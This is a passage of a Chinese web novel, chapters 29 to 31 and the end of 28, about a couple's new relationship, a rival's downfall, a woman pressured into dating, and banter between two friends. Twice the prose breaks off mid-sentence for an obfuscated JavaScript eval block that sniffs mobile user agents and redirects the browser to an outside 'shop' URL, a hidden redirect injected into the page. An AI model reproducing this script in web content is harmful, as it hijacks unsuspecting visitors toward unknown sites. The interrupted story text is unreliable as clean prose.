黛秋心被气得不轻,怒气冲冲的砸了个玻璃杯,见真没人挽留自己,这才铁青着脸离开了。走的时候还重重地甩上了门,把整个房间都震得抖了抖。 KTV里一时安静下来,大家你看看我我看看你,陈既立刻扭头看向一直低着头显然是被伤到了的唐筱竹,心里一时又难受又堵得慌。 他小心翼翼地走近唐筱竹,低下头认真地说:“真对不起了竹子,本来今天应该是个挺开心的日子,但是却因为我整出来这么一桩事情,你的生日也被搅和了……你打我吧,只要你能开心,你狠狠打我一顿也行。” 唐筱竹被陈既这副郁闷的模样都笑了,她吸了吸鼻子,知道这件事不是陈既的错:“这又不是你的错,要怪就怪我一直看错了黛秋心。我之前还觉得她特别好,谁知道她真实的模样竟然是这样,要是我能早一点看清她的真面目,和她划清界限,或许今天就不会这样了……” 说着说着,唐筱竹忽然又抬起头看向季蝉衣,神情是前所未有的认真。 本来季蝉衣正低着头小声和周予安蛐蛐黛秋心,察觉到唐筱竹的目光之后,被吓了一跳:“干嘛用这种眼神看着我?搞得人家很惶恐啊。” “谢谢你。” “哈?” “季蝉衣……谢谢你刚刚替我出头。之前的事情,我要向你道歉,那时候我和黛秋心关系还很好,她总是和我说你的坏话,我信以为真,还以为你真像她说的那样非常坏,所以对你的态度很不好,现在我知道真相并不是黛秋心说的那样,所以我要为我之前对你的态度不好向你道歉……对不起。” 唐筱竹说着,表情严肃的朝季蝉衣鞠了一躬。 季蝉衣条件反射般往后躲了一下,她挠了挠鼻子,慢半拍的将唐筱竹拉了起来:“这是干嘛?不知道的还以为你要认我当干妈呢,没事啊,没事。举手之劳的小事而已,本人向来是做好事不留名,你偷偷感动就行了,不用拿出来大肆宣扬,毕竟我一向淡泊名利……” 唐筱竹没忍住笑了,笑完之后,又认真的说了一遍谢谢。 然后她回过头看向陈既,声音不大,但是很坚定:“也谢谢你刚才一直在维护我。陈既,你刚刚说你很抱歉,觉得我的生日被搅和了,但我不这么觉得。我觉得这是我过过的最幸福的一个生日,因为在这个生日里,我认清了一个人,交到了一个新的朋友……还开启了一段美好的爱恋,所以我很开心。” 陈既听到最后一句话,整个人都懵了,好半天才愣愣的开口:“美好的爱恋……?” 唐筱竹笑看着他认真地点头:“没错,你刚刚问我愿不愿意和你在一起,我的回答是,我愿意。” 29. Chapter29. 唐筱竹答应陈既表白这件事,不仅让陈既本人开心的恨不得昭告天下,也让他的家人非常开心。 当初黛秋心追他的时候,追的那叫一个惊天动地,恨不得整个人都挂在他身上,时时刻刻都不和他分开,后来更是直接追到了陈既家里,可把陈既烦的要命,也把陈既的家人搅得一团乱麻。 她刚去陈既家的那两次还知道表现一下自己,收起平常的嚣张跋扈,把自己伪装的特别乖巧,陈既的父母和长辈也确实对她挺有好感。但黛秋心装了几次就渐渐本性暴露,她从小娇生惯养,养出很多的大小姐毛病还不知道收敛,有时候在陈既家里当着他父母的面也堂而皇之的对陈既颐指气使。 两个人只是普通朋友的关系,可黛秋心却非得要得到比普通朋友更多的关注和对待,在她的意识里,陈既对她的言听计从就证明了陈既对她的偏爱,所以她就使劲的作,她就喜欢看陈既无可奈何的样子,她觉得这样就可以证明自己在陈既心里是与众不同的,最后却越作把陈既推得更远。 而且她对自己能当着陈既父母的面指使他这件事还觉得特别得意,因为她觉得自己这是在变相的向陈既父母证明陈既有多么的喜欢她,让陈既的父母觉得她有本事,把陈既抓的死死的,殊不知她这一套已经让陈既一家厌烦透顶。 但是陈既一家都是人精,除非事情已经无可挽回,他们一向不会直接和人翻脸——起码明面上不会翻脸,私底下怎么说那就是他们自己的事情了。毕竟互相之间还有合作,陈既分的清轻重缓急,不会为了这些鸡毛蒜皮的小事损害他们家族的利益。 所以他们对黛秋心一忍再忍,用尽各种借口减少见黛秋心的次数,但是这种办法也只是治标不治本。 直到陈既和唐筱竹表白,黛秋心又过来闹事,陈既这才受不了了。祸害陈既陈既倒是可以劝自己退一步海阔天空忍一时风平浪静,但伤害唐筱竹陈既就忍受不了。他见黛秋心竟然敢这么伤害唐筱竹,当场就忍不住和黛秋心翻了脸。 在陈既和唐筱竹在一起的第二天,黛秋心依然不肯死心。她又去找陈既,但陈既早就猜到她又会对自己穷追不舍,所以昨晚就收拾东西和唐筱竹去外地玩了,黛秋心连个影子也没摸着。而且不管她怎么逼问陈既助理,助理就是打死不说,而且对黛秋心也没什么好脸色——毕竟身为陈既的特助,他也没少被黛秋心摧残。现在陈既都在明面上和黛秋心划清界限了,他当然也不会再忍下去。 黛秋心碰了一鼻子灰,气的在家里砸了好几套茶具。 后来她实在是受不了了,直接去了陈既父母家。 在去之前,她原本以为自己还会像之前一样被笑脸相迎,然后她和可以顺理成章的和陈既父母哭诉一下自己的遭遇。到时候陈既父母一定会站在她这一边,毕竟她觉得自己可比唐筱竹那个笨蛋优秀多了,而且她的家世也比普通家庭的唐筱竹好了一万倍,陈既父母不会傻到选一个呆子。 可事实和她想象的完全不同,陈既父母知道她做的那些事情后,知道自己的儿子被逼的都“离家出走”了之后,也彻底对她失望了。黛秋心自己如此作天作地,他们也没有任何义务再去迁就她,所以哪还有之前和颜悦色的样子,再见到她只是冷脸相迎,虽然没有直说送客的话,但是他们的表现已经能明显看出来他们确实没想让黛秋心留下,更别说听她“诉苦”了。 黛秋心万万没想到自己碰了一鼻子灰,她再敢指使陈既、再怎么骄蛮霸道也不敢和陈既的父母说什么狠话,憋了一肚子气但也束手无策,最后只能灰溜溜的离开了。 然后她就听说,陈既一家对唐筱竹都特别满意。 尤其是陈既的姥姥,因为之前唐筱竹救过她,又跟着照顾了她一段时间,所以陈既姥姥很了解唐筱竹的为人,特别喜欢她身上那些美好善良的品质。甚至就在陈既和唐筱竹两个人刚确定关系不久,她就拿出传家的手镯送给了唐筱竹。 唐筱竹在陈既家过的如鱼得水,估计是有了黛秋心做对照组,就连最挑剔的陈既的爷爷都对唐筱竹没有任何不满意。后来听说陈既也抽空去了唐筱竹家,唐筱竹父母也很满意这个有眼色有情商的小伙子,觉得以后女儿身边有这样一个人在,估计就能少受到很多的坏心的教唆。 双方家长都很满意,总之陈既和唐筱竹在一起后,一切都仿佛变得顺理成章起来,再往下相处一段时间两家人就可以直接和和美美的准备包饺子了。 黛秋心听后气的大病一场,病好了之后,也拉不下脸来再去找陈既。而且因为上次她大闹两人表白现场的事情已经传遍了她的社交圈和朋友圈,现在黛秋心感觉自己走到哪里都会有人指指点点。在反复的疑神疑鬼中,她终于受不了了,买了机票出国了,离开这个是非之地,眼不见心不烦。 黛秋心走后,季蝉衣的生活终于清净了——清净了一半。 还有另外一半就是纪雪薇。 最近这个纪雪薇也不知道怎么回事,时不时的就上线和她发一下消息,不是邀请她出来坐坐就是邀请她一起出来吃顿饭,总之一直在想办法约她出来。 季蝉衣能躲就躲,躲不过……躲不过就叫上周予安、陈既、唐筱竹他们一大帮子人乌乌泱泱的过去,三四次之后,纪雪薇估计也是拿她没招了,也就心有不甘的大大减少了约她的频率。 季蝉衣觉得世界终于再次安静下来,她终于有时间和周予安一起去吃她心爱的小烧烤喝她最爱的冰可乐了。 简离偶尔也会加入季蝉衣和周予安的烧烤小队,但她大部分时间依然在忙,忙着处理工作上的各种琐事,忙着签合同拉合作,忙的焦头烂额,分身乏术。 周予安也忙,但比简离来说还是稍微好了一点,而且他能抽出更多的时间陪着季蝉衣。 季蝉衣也开始逐步了解家里的产业,开始巡店和了解各个酒店和超市的业绩。 季蝉衣开始上班之后,整个人都显得萎靡不振了很多,每天进公司之前都恨不得以头抢地,以泪洗面,光是哄自己上班都能在被窝里哄半个钟。好在她平均每两三天就能吃上一顿烧烤解馋,遇见什么奇葩的合作方也可以及时和周予安吐槽,所以上班的日子也总算没那么煎熬。 工作日的傍晚,周予安照例先顺路去季蝉衣的公司接她,然后两个人一起下班。 但这次季蝉衣从公司出来的时候却不是之前那种解脱了的模样,而是一脸隐忍的怒色。 周予安仔细看了她几眼,觉得她这副模样可不常见,于是顺嘴问了一句:“怎么了?” 季蝉衣把脑袋重重地往后一仰,浑身散发着“丧气”两个字:“别提了,简离和李听澜在一起了。” 周予安挑了挑眉,似乎也很意外:“这是怎么回事?你不是已经劝过简离了吗?” “是啊,但怎么说呢,简离也不是心甘情愿和李听澜在一起的。简离不是做进出口贸易的嘛,最近她有一艘十几吨的农产品被卡住了,那些农产品搁置一段时间倒是没什么,但是放太久了就会腐烂,得损失一大笔钱。正好李听澜家里有点关系,可以帮上忙。之前她照顾李慕青的时候去李听澜家里做过几次客,李听澜他妈喜欢简离喜欢的不得了,听说这件事之后,明里暗里表示他们可以帮忙,但是有个条件。” 周予安了然:“——让简离和李听澜在一起?” 季蝉衣一提这件事就有些生气:“是呀!这不是趁人之危嘛!小说里李听澜她妈一直都知道姚以寒这个人,也一直都看不上她,但是李听澜就是喜欢姚以寒,他妈没办法,又不能真和这个儿子断绝母子关系,就只好想尽办法拆开两个人。现在她不就是想推简离进这火坑吗?要是李听澜能爱上简离最好,反正她也满意这个儿媳妇。要是李听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558218|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澜没有爱上简离,那也能恶心姚以寒……他妈这算盘打的倒是不错,从头到尾都没有和简离提过姚以寒的事情,就是一门心思的想利用简离。就没想想最后简离万一真爱上了李听澜,知道真相会多么伤心吗?真是气死我了,这一家子都是奇葩,自私自利,光想着自己,完全不顾别人的死活。” 周予安思索两秒,问道:“那简离是怎么想的?” 提到这个,季蝉衣的表情缓和了不少:“简离倒是挺清醒的。你也知道她,对于这种事情门清,她的想法是送到嘴里的肥肉不要白不要。既然李听澜他妈想让他们在一起,那她就答应他们,等这次危机平安度过了……” “再卸磨杀驴?” “对……不对,这话怎么听着怪怪的?” “那就过河拆桥……衣姐,我这不是迁就你的语言习惯吗?我感觉你就老是用这些让人虎躯一震的成语。” “你这是什么意思?嘲笑我没文化还是觉得我用的成语不恰当?” “没有,你不高材生嘛,我怎么可能嘲笑你没文化。” “那你就是觉得我用的成语不恰当。好吧,我承人我在文学方面有些欠缺,我学理的,大学学的物理,确实有时候会忽视一些成语的积累,但这也不是你嘲笑我的理由啊!” “不是,说话要凭良心,我什么时候嘲笑你了?” “你就是嘲笑了。成语不好是我的错吗?” “……不是。” “那你以后还敢嘲笑我吗?” “……不敢了。” “那你叫我一声熠熠大王,并且说‘熠熠大王我错了,是我有眼不识泰山,我以后再也不嘲笑你了’我就原谅你。” “……这就是匹夫无罪怀璧其罪吗?领教了。” “别废话,叫不叫?” “好好好,我叫,熠熠大王让我说什么我就说什么,毕竟谁让咱们熠熠大王是这里的大王呢,我是万万不敢和熠熠大王硬碰硬的。熠熠大王我错了,是我有眼不识泰山,我以后再也不嘲笑你了,你能大人有大量,原谅我一次吗?” 季蝉衣纡尊降贵般的点点头,笑眯眯的说:“寄丢了,那本大人这次就先放你一马。” “‘寄丢了’是什么意思?” “是‘知道’的方言啦,又土了吧你。” “寄丢了。” 季蝉衣没忍住哈哈笑出声来。 周予安也弯了弯眼角:“对了,熠熠大王,咱们不是在说简离的事情吗?” “对啊,说到哪了?继续继续——简离的想法就是等危机度过了之后,她再找理由和李听澜分手。既然李听澜他妈想用她对付姚以寒,那她也可以用姚以寒为借口和李听澜分手。李听澜他妈打的一手好算盘,但对上了简离,谁吃亏还说不定呢。” “那你是怎么想的呢?” “我?我当然是觉得挺好的,既然简离有她自己的想法,那就按照她自己的想法去做就好了,我相信她。她现在很清醒,已经不会再被轻易伤害,所以我当然是支持的了。” “那刚刚为什么心情不好?” “什么?” “熠熠大王,你刚刚出来的时候,看起来心情很不好。” “嗯……刚刚是觉得李听澜这一家子也太自私自利了,怎么想怎么觉得过分,所以有点生气而已,不过和你吐槽了之后,心里就好受很多了。” “那就好。”停了两秒,周予安目视前方,又轻轻笑了,低声喃喃自语,“……你开心就好了。要是熠熠大王能一直开心就好了,付出怎么样的代价我都接受。” 周予安的声音很轻,是一句无意识的呢喃,但季蝉衣还是听见了。 她怔了怔,转头看着周予安那近乎完美的侧颜,心里涌上一种奇怪的感觉,说不清究竟是什么,只是忽然觉得有点不是滋味。 30. Chapter30. 一切都和李听澜的母亲郑素梅预想的差不多,李家出面帮简离摆平了货物入境的事情,简离也确实和李听澜在一起了。 其实原本李听澜知道他母亲撮合他和简离的时候,是极其不情愿的,甚至为了这件事和郑素梅吵得翻天覆地。 他确实对简离有好感,当初在隔壁市照顾李慕青的时候,他和简离相处了不短的时间。在这期间,两人天南海北的尽情聊天,他们的性格很契合,不管是爱好还是处事方式都很像,这使得他们有说不完的话题,而且做什么都能配合的很好,哪怕是整天在一起也不会觉得无聊。 正好那段时间李听澜和姚以寒的关系降到了冰点,他已经为此情绪阴郁了很久,觉得看什么都很厌烦,做什么都提不起兴趣。直到简离出现才让他分出了点神,灰暗的世界也再次有了亮光。 他一开始只是把简离当作转移注意力的桥梁,所以他闭口不谈姚以寒的事情,从来没有想过告诉简离真相,任由简离逐渐陷进去。可谁知道后来在和简离的相处中,他竟然不知不觉的也被简离吸引了大部分的注意力。 出院之后,李慕青买了三条相似的手链,一条自己留下,另外两条送给了他们,说是想作为谢礼,谢谢他们这段时间对自己的照顾。那手链看起来就像是情侣款,他之前从来不喜欢这些东西,也不屑于戴这些花花绿绿的东西,但见简离戴上之后,不知道为什么也神差鬼使的戴上了。 连他自己都没有察觉的事情,他母亲却敏锐的注意到了,他母亲原本就喜欢简离,这下更是觉得皆大欢喜。 李听澜是对简离有好感不假,可在他心里,简离再怎么好也只不过是一时新鲜而已,姚以寒依然是他心口那抹挥之不去的朱砂痣。姚以寒占据了他人生中大部分的时光,也参与了他生命里几乎所以重要的时刻,想要把姚以寒从他心头剜去,那他也会遍体鳞伤。 两个人因为姚以寒和她的追求者合作的事情大吵一架,他们谁也不让谁,越是亲密的人越知道刀子往哪里捅最痛,两个人用尽所有恶毒的话伤害对方,可有些话在说出口之后就再也收不回来了,在伤害对方的同时,也伤害了自己。 这次争执让两个人都筋疲力尽,争执之后,李听澜终于累了,和姚以寒提了分手。 两个人冷战了很久,互相拉黑了对方,也再也没有和对方说过一句话。原本两个人不该再有什么交集了,可是谁知道不久后姚以寒就因为再次投资失败急而需用钱,她母亲早就告诉过她不会再给她一分钱,所以她只能自己想办法。姚以寒将自己能卖的东西全卖了,但依然还缺几十万块。于是她不得不再次回头找李听澜。 而李听澜虽然看似依然冷漠,可其实他心中的天平依然习惯性的往姚以寒那边倾斜。 他们两个实在是太熟悉彼此了,几年的分分合合相知相守让他们早已对彼此了解的十分透彻。姚以寒的一颦一笑、说话的习惯、爱吃的食物、讨厌的东西李听澜全部都了如指掌;同样的,姚以寒也了解他,只要怎么样最能让他心软,这份熟稔并不是简离出现了几个月就能代替的了的。 李听澜了解姚以寒甚至胜过自己,他知道姚以寒不是个完美的人,他同样明白姚以寒的自私和心狠,可哪怕是她是个浑身缺点的人,李听澜也就是喜欢她。 郑素梅想强迫李听澜答应和简离在一起的时候,正好处在李听澜将要和姚以寒关系将要缓和的时候,李听澜正一门心思地放在姚以寒身上,已经分不出来多少给简离了。 但是郑素梅知道怎么拿捏李听澜,她威胁李听澜,如果李听澜不和简离在一起,那么她就不会资助姚以寒那几十万的资金,也不会允许李听澜资助姚以寒。现在李氏的财权还没有握在李听澜手里,他羽翼还没有丰满,为了替姚以寒拿出这笔钱,李听澜和郑素梅吵了几天之后,妥协了。 就这样,姚以寒成功拿到了钱,而李听澜也如郑素梅的愿和简离在一起了。 姚以寒知道这件事,但完全没有在意。一是因为她已经拿到了钱,急着拿这笔钱再去投资,没多少心思放在情爱上。二是,她也明白她和李听澜的纠缠并不是一个来了几个月的人能切断的,所以她完全没有把简离放在眼里。 她太得意了,她知道自己已经牢牢把握住了李听澜,即便是郑素梅不喜欢自己又怎么样?不还是一步步的退让?她知道自己已经成了刻在李听澜心口的一道伤疤,伤疤时刻隐痛,提醒李听澜她的存在。而这道疤痕永远不会消失,即便是后面有再多的伤疤,她也依然是最刺目的那个。 李听澜确实永远都没办法忘掉她。 哪怕两个人最后真的没有在一起,那么提起曾经深爱着的人,提起那个让他又爱又恨的人,他第一个想起来的,依然还会是她。 姚以寒明白自己现在已经成为了李听澜心里无可代替的存在,哪怕李听澜以后或许会爱上其他人,但在他心里的最深处,依然还有她的一席之地。 更何况她相信简离不可能会替代的了她。 李听澜和简离刚在一起的时候,既别扭又冷淡。心甘情愿与被逼迫答应完全不是一回事,即便是李听澜之前对简离有好感,但他被郑素梅强迫和简离在一起之后,那点好感也全都被不舒服代替了。 两个人几乎没说过什么话,很长时间也都没有见过面,和陌生人没什么区别。 李听澜是因为不悦,简离则是完全沉浸在解决货物的事情里,只想着利用他们家的势力,根本没想起来这个人。 事情的转折发生在一个风和日丽的下午。 那天简离货船的事情终于解决了,船只成功驶过大西洋来到了港口,简离终于松了口气,准备亲自开车去看工人卸货。 恰好李听澜也去那边谈合作,两个人在港口遇见了,彼此都有些错愕。 简离上身穿的白衬衫,下身穿的西装裤,白衬衣下摆掖进腰带里,脚上随便蹬了一双帆布鞋,戴着安全帽,看起来干练十足,浑身散发出一种威严又专业的感觉,和平常私底下见面的时候完全不同,让李听澜眼前一新。 若是在平常见不着面的情况下,两个人不说话就不说话了,现在既然面对面遇上了,再故意装看不见就显得很刻意了。是以两个人客客气气的打了招呼,然后简离顺势邀请他一起去吃午饭。 李听澜犹豫两秒,答应下来。 港口附近就有餐厅,两个人迎着咸咸的海风往前走,不尴不尬的说这话。经过一个个巨大的集装箱,简离准备从码头直接开车过去。 走到一半,码头边忽然传来一阵惊呼声。 原本目不斜视的两个人下意识一同看去,原来有个工人在往叉车上搬箱子,可是他胸前半人高的箱子严严实实的挡住了他的视线,一时没留意脚下的障碍物,被绊倒之后不受控制的向海里摔了过去。 码头边被铁链围了起来,但那铁链不够高,没拦住那个工人。眼见那个工人就要掉进海里去了,在这个危急关头,简离想也不想就扑了过去。 所幸简离离那个工人很近,她眼疾手快的抓住工人的裤腿管,被工人下沉的惯性拖出半米远,一下子滑倒了码头边。她岔开双脚撑着石柱,死命咬牙抓住那工人的腿。 好在其他人也反应过来,纷纷过来帮忙。大家齐心合力,总算是有惊无险的把那个工人拽了上来。 简离松了口气,危机解除,肾上腺素逐渐消退之后,她才后知后觉的发现胳膊肘和小腿的位置火辣辣的疼。 她随意挽起袖子,果然看见了胳膊上有大片的伤口,是刚刚她扑过去被拖拽的时候被水泥地面硬生生摩擦出来的。 简离没在意,想着一会回去找点碘伏擦擦就好了。那个工人惊魂未定的朝众人道谢,对着简离更是感动的嗓子都在颤抖。简离倒没觉得有什么,笑着嘱咐他去医院看看,然后就叫大家散了。 解决完工人的事情,她一转头,就看见李听澜站在半米外的地方,正静静的看着她。 简离朝他走过去,客气的笑了一下:“吓着了?” 李听澜低头在公文包里翻找了一会儿,拿出一瓶双氧水喷雾递给了简离:“先将就着用一下这个,一会儿再去医院处理伤口。” “谢了啊,不过你怎么还随身带着这个?” “没什么,我有个……朋友,经常受伤,所以我就习惯性的带着这个。”李听澜语气含糊,看起来并不想多聊这件事,“很疼吧?” 简离愣了一下,反应过来李听澜是在问自己的伤口,不怎么在意的笑了笑:“哦,还行吧,这点小伤而已。” “……你之前经常受伤?” “也不能说是经常吧,我刚开始是做房地产的,经常跟着跑工地,难免会受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561222|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤。比这更重的伤我也受过,有一次我跟着甲方去现场看进度,检查基础做的怎么样的时候,有个脚手架没搭好,一下子倒在了我身上,那次伤得最严重,我的韧带被撕裂,左腿骨折,脚趾粉碎性骨折,肋骨也骨裂了,可真是惨不忍睹。比起那次,这回就真算不了什么了。” 李听澜怔了怔,似乎没办法把眼前这个笑起来分外活泼的小姑娘和当初那个去过工地还受过重伤的人联系起来:“你做什么都这么拼命吗?你的家人不会担心你么?” “哦,我没有家人。我父母在我很小的时候就去世了,如果非得说亲人的话……那我唯一的亲人就是季蝉衣。” 简离说起这话的时候,脸上依然是和颜悦色的,没有任何愤懑和埋怨。 虽然她从来没说过,但李听澜也能猜到父母不在之后,她过得肯定不怎么如意,但她好像完全不觉得不公平,也从来不怨天尤人。 或许是猜到了李听澜的想法,简离朝他笑了笑,随口说:“我知道你在想什么,觉得我可怜,觉得我应该每天以泪洗面埋怨上天不公平是不是?嗯……实话和你说吧,其实之前确实埋怨过,凭什么别人可以过的那么幸福,凭什么别人有爸爸妈妈的疼爱……但后来就慢慢想开了。我呢,觉得人生就像是一个玻璃瓶,上天把财富、寿命、学识等等东西加在里面,每种东西加的数目不同,于是就成就了和其他人不同的我,但瓶子的容量就这么大,多加点这个进去,那么就得少加点那个。上帝把父母从我的瓶子里拿走了,就一定会放其他同样美好的东西来补足这块缺失的容量。人生不就是这样么,有得必有失,有起必有落,我既然能在人生的最低谷坦然说笑,那我也必然能站在人生最灿烂的尽头得到我想要的一切。” 李听澜没想到简离竟然说出来这么一番话,转头看了她一眼:“我本来以为已经很了解你了,但现在我才发现你和我想象中的还是不太一样。” “噗,我们才认识多久啊,你就敢说很了解我了?”简离脸上带着笑,心里却漫不经心的想,如果你真的了解我,大概就不想和我再有什么交集了。 两个人一起去吃了顿饭,这顿饭是他们这段时间来最和谐的一顿,他们似乎又回到了从前,变得像刚开始那样亲密无间——起码李听澜是这么觉得的。 李听澜依然没有提起姚以寒的存在,而简离也默契的装作不知道。 吃完饭,简离和李听澜又聊了一会儿,然后就分别了。 简离准备回公司看看,在路上接到了季蝉衣的电话:“宝贝儿,晚上有空吗?” “今天吗?今天估计是没空了,手上一大堆事情等着我弄呢。怎么,又要邀请我加入你们的烧烤小分队?” “嘿嘿,实则不然。慕青邀请我去杨秀迁家里玩,今天是杨秀迁的生日,她肯定也和你说了吧?我想着你不忙的话就和你一起去。” “那今天估计我是去不了了,今天能不通宵处理工作我就谢天谢地了。你自己去吧……我的意思是,你和周予安去吧,我就不去了。” “够了,女人,怎么又敢背着我偷偷熬夜?老子是真心疼你了。老子要狠狠惩罚你的不听话,如果今晚再熬夜,就罚你给我转五百,知道了吗,宝宝?这是对你不爱惜自己身体的惩罚。” 简离在电话这头笑得快撅过去了。 电话那头的季蝉衣心满意足的挂断电话,站在原地回味了半天自己的低沉气泡霸总音,觉得自己真是个适合当霸总的天才。 周予安正收拾桌子上的零食袋子,拿着垃圾袋从季蝉衣面前路过,两秒后,又退了回来,仔细看了看季蝉衣的表情,“啧”了一声:“怎么笑得这么奸诈,你趁我收拾桌子的时候偷偷把蟑螂放我的鞋子里了?” “……?”季蝉衣冷哼一声,“以小人之心度君子之腹说的就是你,你摸着良心说说我是那种人吗?你说说我什么时候偷偷摸摸干过这种事情?” “……啧,这么一说好像也是。”周予安思索了两秒,很快一脸赞同的点了点头,“你好像确实没有偷偷摸摸的干过——毕竟咱们衣姐想干什么坏事都是光明正大的直接干。” 季蝉衣忍住笑,想了想,装出生气的样子,叉起腰歪着脑袋朝周予安做了个鬼脸。 周予安学着她的动作,叉着腰歪着脑袋朝季蝉衣露出一个狐狸似的眯眼笑。 31. Chapter31. 准备出门去跟李慕青他们回合之前,季蝉衣帮周予安挑好了衣服,像打扮手办一样按照自己的心意把周予安打扮妥当。 然后她也仔细给自己挑选了合适的衣服,换好之后,收拾的干脆利落的两个人一起出了门。 杨秀迁家不算是大富大贵的人家,正相反,杨秀迁的爸爸在他还小的时候就出意外去世了,杨秀迁和他妹妹被他母亲拉扯大,日子过得捉襟见肘。 这种情况一直持续到杨秀迁读完大学之后,他放弃了保研资格,出来上班补贴家里,这才让家里的情况好了很多。 杨秀迁和他母亲、妹妹一样腼腆内向,他们一家都不是活泼的人。虽然杨秀迁沉默寡言,但他从小就诚实本分,做人做事有一套自己的标准,既不会轻易害人,而且也始终坚守自己内心的善良。相较于那些嘴皮子能说会道的人来说,他这种性格在职场里、在亲戚面前都容易被欺负。 事实上杨秀迁也确实经常被欺负。小的时候,杨秀迁经常被调皮捣蛋的同学捉弄,一开始他也会反抗,但反抗只会遭到更严重的恶作剧。大家知道他的家庭情况,会毫无顾忌的笑话他没有爸爸。而且也正是因为没有爸爸,哪怕是被同学欺负了,也没有人能为他撑腰。杨秀迁的妈妈为了养育两个孩子已经够辛苦了,杨秀迁不愿意再因为自己的事情让她伤心。 所以他学会了忍耐,学会了打掉牙往肚子里咽,除非是被欺负狠了,要不然他从来都是默默忍受,不会和任何人诉说自己的痛苦。在那段暗无天日的时光里,他也怀疑过,但从来没有自甘堕落。 在这样的环境中,杨秀迁竟然没有长歪。长大了以后,虽然家里的条件好了点,但那种忍耐的性子却已经深深的刻进了他的骨子里。 这种情况并不会因为他长大就有所改善,长大之后,他依然会被同事开些看似无伤大雅但其实让人非常不舒服的玩笑,也依然会被那些市侩的亲戚压榨欺负,但他学会了无视,不管别人怎么说,他始终坚守自己认为正确的选择。 这种情况一直持续到他和李慕青谈恋爱。李慕青和他在一起后,这种情况才戛然而止,因为杨秀迁好惹,但李慕青可不是好惹的。 杨秀迁内敛腼腆,李慕青干练果决,杨秀迁身上缺少的那份心狠手辣,李慕青身上有十倍。有李慕青在身边,谁敢招惹杨秀迁,都会被李慕青明里暗里收拾回去。 李慕青做事不在意过程,只在意结果。她从小跟着父母做生意,腌臜事见多了,什么都不害怕,而且和杨秀迁的恪守底线不同,她这人本身就没什么底线,只有在重要的人面前才会有温情的一面,其他时候,要是谁敢惹到她,她有的是阴损的办法去折磨人。 之前季蝉衣就听简离说过好几次李慕青的英勇事迹,一直好奇两个人平常是怎么一起生活的,所以一想到今天能亲眼看看李慕青和杨秀迁的相处模式,就隐隐觉得有些兴奋。 李慕青打算在杨秀迁的老家给他过生日,杨秀迁的老家远离城市,住的是村子里的自建房,环境一般,但好在村里地多,所以房子也大,李慕青邀请了几个朋友,十来个人一起站在院子里都不显得拥挤。 除了李慕青和杨秀迁之外,李慕青邀请的人里季蝉衣认识的就只有陆雨婷和陆靳。 李听澜出差去了,来不了,简离没空,也来不了。其他人大部分都是李慕青的朋友,季蝉衣第一次见。杨秀迁性格内向,只有两个是真心对待他的好朋友来了,除此之外,他就没什么朋友了。 大家都是同一个年龄段的,大部分都很活泼外向,而且正是年轻又对外界好奇的时候,所以没多久就打成一片,玩的不分你我了。 虽然今天是杨秀迁的生日,但控制全场进度以及招呼各个客人的却是李慕青。 李慕青不愧是天生的领导者,浑身散发出强大的气场,简单的黑T黑裤也被她穿出领导的气势,说话做事井井有条,三言两语之间就把各种琐事规划好,让人下意识想要听从她的命令。 杨秀迁就显得有些局促,他紧紧的跟在李慕青,李慕青让他做什么他就做什么,像是个小尾巴。 季蝉衣观察了两人一会儿,忍不住笑了,戳了戳周予安的后腰,压低声音和他说:“你看杨秀迁,像不像是慕青姐的跟班?” 周予安顺着季蝉衣的视线看过去,也跟着笑了:“嗯,还真是。” “其实有时候我总觉得这俩人应该是姐弟恋才对,因为慕青姐显然是比较强势的一方嘛,而且看起来也比秀迁哥成熟——秀迁哥有时候看着就像个大学生一样。但是真想不到秀迁哥还比慕青姐大三岁呢。啧啧啧。” “怎么,看你这样子,还对姐弟恋感兴趣?” “一半一半吧,我反正是都能接受,只要互相喜欢,年龄根本不是问题啊。你不喜欢姐弟恋?” “喜欢。” “不是吧瓜总,回答的这么干脆,难道我发现了什么惊天大秘密?你喜欢比你大的?” “还行吧。” 季蝉衣想了想,问道:“那你喜欢我吗?” 周予安端酒杯的手狠狠一顿,杯子里的酒洒出来一大半。他面不改色的拿出手帕把手上的酒渍擦干净,同时抬头问:“……什么?” “我的意思是,你喜欢比你大的话,会觉得比你小的人不够成熟吗?是不是没你大的你都会有滤镜,觉得他们很幼稚?” 原来是这个“喜欢”吗? 周予安垂下眼皮,声音不咸不淡:“没有,我也就那么随口一说。其实年龄对我来说也不算什么问题。” “真的吗?但我比你小。” “你没事啊,就算是我真喜欢年龄大的,也不会不喜欢你的。毕竟你长得漂亮。”周予安开玩笑似的随口说。 但季蝉衣的神情认真,一点也不像是在和周予安开玩笑:“那如果我长得不漂亮呢?” “那也没事,你笑起来很好看。我喜欢笑起来好看的人。” “那如果我笑起来不好看呢?” “也没关系,毕竟我是个更注重内在的人。你就很有内在。” 不知道为什么,季蝉衣好像对这个问题耿耿于怀,并且执着的想要找到一个答案。 要是放在平常,她绝对不会为这样一个小问题打破砂锅问到底,可今天不知道怎么回事,她觉得自己一定要从周予安嘴里得到一个确切的答案,要不然她觉得自己今晚都睡不好觉了。 “那如果我是个很邪恶的人呢?喜欢杀人放火烧杀抢掠,是个无恶不作的大魔头?” 周予安思索了两秒,面不改色的说:“那也没事,只要你不是变成小动物就行。小动物太麻烦了,还不会说话。” 